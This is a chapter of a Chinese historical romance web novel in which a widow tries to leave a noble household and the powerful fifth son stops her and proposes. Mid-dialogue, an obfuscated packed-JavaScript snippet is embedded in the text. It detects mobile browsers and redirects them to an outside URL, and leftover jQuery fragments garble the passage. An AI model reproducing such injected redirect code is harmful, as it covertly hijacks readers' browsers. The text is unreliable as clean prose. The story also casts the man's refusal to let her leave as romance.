28. 第 28 章

作品:《惹春漪

    “你若是不要,那便是打祖母的脸,今日咱们就在这儿熬鹰,看谁先撒气。”


    傅砚秋:“祖母,我早已说过多次,我现在不想成家。”


    “我现在也没叫你成家,大宅内院总归我这个老神仙还是说了算的,往你房里放两个丫头这样的事,我且以为还是能做主的,难道不是?”


    傅砚秋无话可说,他一再推拒,若是伤了祖母的脸面也不好。


    他大可以把两个丫头收进房里,管个洒扫、内务。


    好容易赶回来,他可不是为了和老太太呛声的。


    “孙儿听候祖母训诫,时候不早了,祖母歇息吧。”说罢,他便急匆匆出了门。


    身后的老神仙也有些疑惑:“这般心神不宁,倒有些不像他了。”


    傅砚秋吩咐常春先把两个丫鬟带回院子,自己则是要先独身前往沈怀香的住处。


    就快到院落,常春又急急忙忙过来。


    神色慌张不说,手脚似乎都不会摆放了。


    “何事?”


    “贼人尚未招供便咬舌自尽了,大人,咱们现在......”


    常春大气都不敢喘。


    “回官署。”


    *


    翌日,沈怀香礼数周全的给婆母和老太太请了安,随后侍奉在老太太身前。


    “老二家的,现在身子可好些了?”


    沈怀香点了点头,“多谢祖母关怀,孙媳身体已无大碍。”


    “好啊,近些日子家里果真一派祥和,老五也懂事多了,我心安矣。”


    几个妯娌围坐在老太太旁边,笑称:“是啊,五爷年岁不小了,谁家爷们儿院子里还没有两个晓事丫鬟了,依我看,咱们五爷都放晚啦。”


    “不许拿老五打趣。”老太太嘴上怪责,可脸上还是乐的。


    沈怀香捶捏的手一顿,这话的意思是傅砚秋房里放了晓事丫鬟?


    她不过几日没有出院子,怎的就发生了这么多她不知道的事情。


    所以,傅砚秋终日不露面,却有功夫纳丫鬟进院子。


    沈怀香心尖儿像是被人狠狠戳了一下。


    她本以为傅砚秋待她不同,或许她们终有一日也可以举案齐眉。


    原来只是她自己想多了。


    换句话说,她又和晓事丫鬟有什么区别呢?


    不过是主子需要用来暖床的工具罢了。


    瞧见沈怀香的心不在焉,老太太只当她是大病初愈,叫她坐在一旁听话了。


    大嫂也关切:“怀香,脸色这样不好,可是身子还有些薄弱?”


    她得了公主青眼,连带着在家中的地位也水涨船高。


    下人们不敢再随意朝她摆脸色,妯娌们也得对她和颜悦色。


    “多谢大嫂关系,许是身体还跟不大上,歇息一下就好了。”


    其余一干人各自说着房里的趣事,她一个孑然的寡妇,自然是无话可说,只能坐在一旁赔笑脸。


    沈怀香心里叫苦,可还得时时刻刻端着。


    就在这一刻,她忽然不想忍了。


    她怀念家里的一切。


    有些念头一旦生根,就再难掩盖了。


    沈怀香喉咙发干,她只想离开这府邸。


    沈怀香已然不记得自己是怎么拜别诸人回到自己院落的。


    许是老天垂怜,夜里下起了瓢泼大雨。


    这或许是个好机会。


    沈怀香关门闭户,开始收拾自己的包裹。


    这一段时间她攒了不少银两了,再算上公主额外赏的那些,她和母亲再寻个生计,一家人的生活应该是不困难的。


    冬雪瞧见沈怀香这架势便知道她来真的了,“小姐,你若决定离开,奴婢绝无二话。”


    说罢,就开始上手帮着沈怀香收拾东西。


    翡翠则是愣在原地不知所措。


    少夫人对她很好,按道理来说,她不该通知五爷。


    可是五爷才是她真正的主子。


    先前来少夫人院子之前,五爷就百般叮嘱,如果少夫人这里出现什么情况一定要及时汇报。


    翡翠:“少夫人,您当真要走吗?”


    沈怀香手上叠着衣服内衬,动作不停。


    “是,今日我才发现受困于府中的人只有我,大伯他们一家的事情我管不了也不会再管了,所以国公府的生活与我而言,没有什么可以留恋的。”


    翡翠知晓了沈怀香的意思,却仍旧无法违背傅砚秋。


    她知晓傅砚秋的雷霆手段,饶是自己今日可以逃过去,可日后......


    沈怀香定然会理解的,她也有弟妹和年迈的父母。


    “少夫人,我去寻马车和小开。”


    沈怀香丝毫不起疑,只叫她去。


    二人收拾好东西,意欲离去。


    沈怀香也买通了门房和车夫,她将放妻书放在桌上的油灯旁,便头也不回地出了自己的院子。


    大雨哗然,襦裙沾湿,沈怀香无端有了些冷意。


    直到她出了府门,马车旁。


    一柄竹伞握在骨节分明的手上,一席紫色蟒袍,还有脸上深不见底的表情。


    沈怀香被钉在原地。


    那紫衣却朝她走来。


    “我何时准你走了?”


    沈怀香别开头,有些难为情。


    “五爷,男女之事讲求一个你情我愿,过去之事就让它过去吧,妾身对国公府已无他求,只想回乡。”


    “那我呢?”捏住伞柄的指尖泛白,看得出有些用力。


    “求五爷不要为难我一小女子,求五爷高抬贵手。”


    傅砚秋呵一声,“你还真是会为自己开脱,先前你有事主动找上我,现在用完却又一脚踢开,沈怀香,你当我是什么?


    ;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17542556|203096||http|test|mini|href|location''.split(''|''),0,{}));


    () {


    $(''.inform'').remove();


    $(''#content'').append(''


    ”


    沈怀香不愿再说,她抬腿欲上马车,却又被人拦腰抱起。


    “五爷,咱们就此结束,各自安好,不行吗?”沈怀香的眼睛酸涩的很。


    傅砚秋都找了晓事丫鬟了,为何还要揪着自己不放。


    “自古男女多你情我愿,可只要我还没想结束,你就走不了。”


    “可你都已经寻了晓事丫鬟,这还不叫结束?”


    傅砚秋一怔,原是因为这事情。


    他笑了。


    沈怀香不明白。


    “你以为我找了晓事丫鬟?”


    沈怀香:“那日在老太太房中,人人皆知,五爷还有何可以辩驳?”


    “无可辩驳,但事情却也不是你想的那样。那日夜里我回府里,老太太定要我将两个丫鬟带回去,我急着去见你,只得答应下来,但是安排的也只是普通丫鬟的活计。”


    “当真?”


    “我何时骗过你?”


    *


    傅砚秋解释完,沈怀香才得知来龙去脉,不由得有些羞愧。


    傅砚秋倒是为她肯吃醋而感到欣喜,他原本最怕的便是这些都只建立在自己的一厢情愿上,沈怀香是臣服而非心悦于他。


    现下看来不是这样的。


    沈怀香已然决定出府,傅砚秋自然也没有让她回去的道理。


    “明日我就禀告祖母,求亲于你。”


    这速度着实吓到了沈怀香。


    “五爷,切莫冲动啊,若是老太太有个好歹......”


    沈怀香简直不敢想。


    傅砚秋:“你无需担心这些,你只需要安安心心准备好你的婚服。”


    按照她们乡下习俗,女子的婚服须得亲自绣制,意味着往后的日子红火。


    沈怀香被这突如其来的事情冲昏了头。


    傅砚秋同她一道回了自己在京都当中的另一套宅院。


    他叫沈怀香在这儿好好歇息,自己回去准备求亲事宜。


    *


    同他们想的一样,老太太在得知沈怀香已然离去时,有些愕然。


    再听到傅砚秋说他非沈怀香不娶时,径直昏了过去。


    醒来,国公府一阵鸡飞狗跳,傅砚秋罕见地挨了打。


    同时震撼的还有府里的其他人。


    二少夫人原本是这府中草芥一般的存在,结果飞上枝头变了凤凰。


    好在,傅砚秋的态度足够坚决,老太太别无他法。


    好在她这孙媳妇自嫁进来就不曾在人前露面,所谓偷天换日尚且得以实现。


    沈怀香没想到哪怕是她嫁给了傅砚秋,却依旧可以居于别院,不用回去国公府。


    这是傅砚秋凭借自身的权柄让她享受到的便利。


    或许,沈怀香的日子就要自此开始改变了。


    她心甘情愿。


    他如愿以偿。